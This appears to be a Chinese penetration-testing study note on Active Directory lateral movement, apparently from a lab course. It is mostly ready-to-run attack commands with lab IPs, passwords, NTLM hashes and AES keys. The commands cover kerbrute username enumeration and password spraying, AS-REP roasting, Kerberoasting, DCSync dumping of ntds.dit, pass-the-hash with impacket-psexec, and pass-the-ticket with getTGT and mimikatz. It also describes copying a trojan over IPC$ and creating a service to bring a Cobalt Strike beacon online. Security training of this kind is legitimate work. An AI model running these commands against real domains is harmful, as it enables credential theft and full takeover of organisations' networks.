当前位置: 首页 > news >正文

域内横向移动

1. 域内横向移动方式

工作组下的横向移动方式也同样的适用,域内横向移动在原本的工作组横向移动的基础上加了一些东西。

如果说你要攻击一个域,那你就必须拿到用权限的账户。

哪些用户有权限:

administrator

domain admins 组中的用户

如何拿下有权限的账户?接下来讲的就是怎么拿下有权限的账户。

拿下有权限的账户怎么搞?

1.1. 内网的情景

入口机器是一台linux,内网的其他主机是一个域
入口机器在工作组,内网的其他主机是一个域
入口机器在域内,与内网其他主机构成一个域
出现前两种的情况,我们想要攻击域,或者拿下域,就必须有一个域内的合法账户

1.2. 用户名枚举

1.2.1. 什么情况下使用用户名枚举

原因:在域内的机器可以通过 net user /domain查询域内所有用户,就没必要枚举,不在域内的机器是无法通过 net user /domain 查询域内用户
这个用户名枚举的攻击方式,只适用与入口机器不在域内。如果入口机器在域内就不需要枚举。

1.2.2. 如何使用用户名枚举

工具:kerbrute
下载地址:https://github.com/ropnop/kerbrute
注意:在做用户名枚举的时候,你不可能把所有的用户名都枚举出来,因为你的字典是有限的
  1. 使用
kerbrute_windows_amd64.exe userenum --dc 10.10.10.90 -d sis2504.club C:\Users\web\Desktop\用户名.txt

1.2.3. 用户名枚举的原理是什么

与web渗透中的登录框的用户名爆破一样。

1.3. 密码喷洒

1.3.1. 密码的爆破

专一,对着一个用户,爆破密码
使用场景:没有用户锁定机制,那么你可以用这种方式,有的话就不行
使用命令:kerbrute_windows_amd64.exe bruteuser --dc 10.10.10.90 -d sis2504.club C:\Users\web\Desktop\密码.txt zhangli

1.3.2. 密码的喷洒

用一个密码,喷洒多个用户
使用场景:有用户锁定机制的情况下,要使用密码喷洒的方式
一般你需要抓一下入口机器这台的密码,然后获取这台主机的密码,在做密码的喷洒
使用命令:
kerbrute_windows_amd64.exe passwordspray --dc 10.10.10.90 -d sis2504.club C:\Users\web\Desktop\yhm.txt "FLW.com12138a"

1.4. 用户名枚举和密码喷洒做完之后的应该做什么

  1. 只拿到了域内的低权限的用户
可以通过 nxc枚举出来所有的用户,再做密码喷洒
nxc ldap $ip -u $user -p $password --users
nxc ldap 192.168.7.45 -u administrator -p FLW.com12138a --users

  1. 拿到了域内高权限的用户
建立IPC$,创建服务上线
net use \\192.168.7.45\IPC$ "FLW.com12138a" /user:sis2504.club\administrator
copy 木马 
创建服务,上线CS

1.5. Roasting

发生在kerberos认证中的as-req阶段,问题是因为用户在认证的时候勾选了需要进行域身份认证。

情况:勾选了不要求kerberos预身份认证。

导致结果:不需要提供密码就可以获取TGT。

利用:破解这张TGT就可以获取到该用户的密码。

  1. 查询域内勾选了不要求kerberos预身份认证的用户
通过bloodhound查询域内勾选了不要求kerberos预身份认证的用户

  1. 获取勾选了不要求kerberos预身份认证的用户的票据
使用nxc
nxc ldap 192.168.7.49 -u zhangli -p "FLW.com12138a" --asreproast output.txt

  1. 破解tgt票据
工具:hashcat -- 内存必须大于8G
hashcat -m18200 output.txt wordlist

总结:对于Roasting攻击来说可能破解出来的密码有两种情况

  1. 高权限
如果是高权限账户,直接就是IPC$
  1. 低权限
通过nxc枚举出所有的用户(不在域内的情况下,在域内直接使用 net user /domain即可),接着对枚举出来的用户做密码喷洒,然后看是否能出来高权限的账户,然后弄他。

1.6. DCSync

原本的意思:域消息同步协议,一般在域内有两台域控,一台域控平时正常工作,另一台是正常工作的域控死了,他就顶上来了,顶上来就意味着会出现一个问题,正常工作的时候的信息是不是注册在平时的域控主机上,不会注册在备份域控上,无法达到一个消息同步的状态,所以就出了这么个协议,最终的DCSync读取的是域控制器上的ntds.dit文件 (与本地工作组环境中SAM相似)

根本:域控之间的消息同步

哪些用户具有DCSYNC的权限

administrator
Domain admins 组中的用户
域内的机器用户
  1. 通过bloodhound查询具有dcsync的权限用户

  1. 进行利用
nxc smb 192.168.7.49 -u zhangli -p "FLW.com12138a" --ntds vss

  1. 获取到hash之后怎么办
PTH (Pass The hash)通过hash建立链接,反弹shell
psexec
smbexec
wmiexec
impacket-psexec sis2405.club/administrator@192.168.7.49 -hashes aad3b435b51404eeaad3b435b51404ee:937b842c7cfa612cc40196a5d89b4823

1.7. Kerberoasting

发生在tgs-rep阶段,破解ST票据,ST由两部分组成,第二部分使用提供服务的机器/用户的hash加密的部分。

补充:

spn:域内提供服务,一个服务会对应一台机器或者一个用户,为了方便域内的用户使用或者查询域内的服务,通过spn形成了一张表,方便用户做查询。把一个楼看成一个域,这栋楼总共有3层
1剪头发 -- 洗、剪、吹、烫、染
2洗浴 -- 泡澡、淋浴、拔罐、搓澡
3按脚 -- 泰式、spaspn服务清单,方便域内的用户去查询我应该去什么地方找什么服务,一般spn可以注册在用户下面,也可以注册在域内的机器用户下面。
  1. 环境的配置
setspn -S MSSQLSvc/sql.sis2504.club:1433 sis2504.club\zhangli
  1. 如何查询域内的SPN
Setspn -Q */*

  1. 利用注册在域用户下的spn

注册在低权限账户下的spn

  1. 通过nxc工具申请注册在低权限账户下的spn的票据(ST)
nxc ldap 192.168.7.49 -u zhangli -p FLW.com12138a --kerberoasting output.txt

  1. 通过hashcat破解
hashcat -m13100 output.txt wordlist.txt

1.8. 总结

通过上述的所有方式,你会发现我们获取到的不是密码就是hash,实际上还有一种就是aes256值(密码通过aes256加密之后生成的内容与ntlm-hash的作用一样)

1.8.1. 获取到明文密码的时候做什么

  1. 哪些方式可以获取明文密码
用户枚举密码喷洒
破解TGT Roasting
破解ST Kerberoasting
  1. 之后干什么
建立IPC$
net use \\IP\IPC$ "passwords" /user:domian/用户名在域内哪些用户建立IPC$ 之后有权限呢?
administrator和domain admins组中的用户(zhongsiyu)copy 木马
设置服务上线即可

1.8.2. 获取到密文

获取到ntlm-hash或者aes-256的值我们应该怎么弄
pth
psexec
smbexec
wmiexec

1.8.3. 域内禁用了IPC的认证和NTLM认证

就需要学习一种新的方法叫做PTT(Pass the ticket)和PTK(Pass the key),

ptk中的key怎么获取

工具:secretsdump
secretsdump.exe hack.com/administrator:Lyp010822%@192.168.41.10
secretsdump.exe sis2504.club/administrator@10.10.10.90

PTT的方式获取到目标主机的权限

PTT全称:Pass The Ticket -- Ticket票,kerberos中有2张TGT,ST,我们可以通过密码或者hash或者ase-256-key的值获取票据,通过将票据注入到内存中使该主机对域的域控有访问权限。
  1. 通过明文密码申请票据
  • 申请票据
getTGT.exe sis2504.club/fanwei
对应的会生成一个ccache的文件 -- 票据(TGT)

  • 注入内存
mimikatz
klist purge #清空票据
在mimikatz的终端 
kerberos::ptc 票据的文字 #将票据注入到内存中

  • 访问
dir \\10.10.10.90\C$
注意有的时候域内是不认IP的你需要将IP变成机器名
dir \\WIN-EB8RC552TFJ\C$
dir \\WIN-EB8RC552TFJ.sis2504.club\C$

c

  • 上线
copy 木马
服务上线即可
  1. 通过hash申请票据
  • 申请票据
aad3b435b51404eeaad3b435b51404ee:937b842c7cfa612cc40196a5d89b4823getTGT.exe sis2504.club/fanwei -hashes aad3b435b51404eeaad3b435b51404ee:937b842c7cfa612cc40196a5d89b4823

  • 注入内存
klist #查看票
klist purge #清除内存中的票据
kerberos::ptc test002.ccache
  • 访问
dir \\WIN-EB8RC552TFJ\C$
  • 上线
copy 木马
服务上线即可
  1. 通过ase-256申请票据
dd999b72301582631e7ba234bcde0587625a9bf2a1d1200871d4890b76dea34c
getTGT.exe sis2504.club/administrator -aesKey dd999b72301582631e7ba234bcde0587625a9bf2a1d1200871d4890b76dea34c

  • 注入内存
清除票据
klist purge
使用mimikatz将票据注入内存
kerberos::ptc 票据名
  • 访问加上线
dir \\WIN-EB8RC552TFJ\C$
copy xx.exe \\WIN-EB8RC552TFJ\C$
服务上线即可
http://www.dtcms.com/a/362618.html

相关文章:

  • AI 生成视频入门:用 Pika Labs+Runway ML 制作短内容
  • C++ numeric库简介与使用指南
  • 【LeetCode】1792. 最大平均通过率(康复-T1)
  • 校企合作| 长春大学旅游学院副董事长张海涛率队到访卓翼智能,共绘无人机技术赋能“AI+文旅”发展新蓝图
  • DAG与云计算任务调度优化
  • 【android bluetooth 协议分析 21】【ble 介绍 3】【ble acl Supervision Timeout 介绍】
  • 无人机系统理论基础(有课件)
  • 无人机小尺寸RFSOC ZU47DR板卡
  • 无人机传感器技术要点与难点解析
  • 【无人机三维路径规划】基于遗传算法GA结合粒子群算法PSO无人机复杂环境避障三维路径规划(含GA和PSO对比)研究
  • 基于YOLOv4的无人机视觉手势识别系统:从原理到实践
  • C++面试题
  • 股指期货是股市下跌的原罪,还是风险对冲好帮手?
  • 什么是 DNSSEC?
  • 面试tips--MySQLRedis--Redis 有序集合用跳表不用B+树 MySQL用B+树作为存储引擎不用跳表:原因如下
  • 278-基于Django的协同过滤旅游推荐系统
  • 详解Grafana k6 的阈值(Thresholds)
  • os.path:平台独立的文件名管理
  • sql执行过程
  • Tomcat 全面指南:从目录结构到应用部署与高级配置
  • Java-Spring入门指南(一)Spring简介
  • WPF曲线自定义控件 - CurveHelper
  • 大模型是如何“学会”思考的?——从预训练到推理的全过程揭秘
  • 【完整源码+数据集+部署教程】PHC桩实例分割系统源码和数据集:改进yolo11-Faster-EMA
  • 无需服务器,免费、快捷的一键部署前端 vue React代码--PinMe
  • 搭建分布式Hadoop集群[2025] 实战笔记
  • 【golang长途旅行第36站】golang操作Redis
  • 【自记】Python 中 简化装饰器使用的便捷写法语法糖(Syntactic Sugar)示例
  • ARM汇编记忆
  • 【53页PPT】华为制造行业数字化转型工业互联网智能制造解决方案(附下载方式)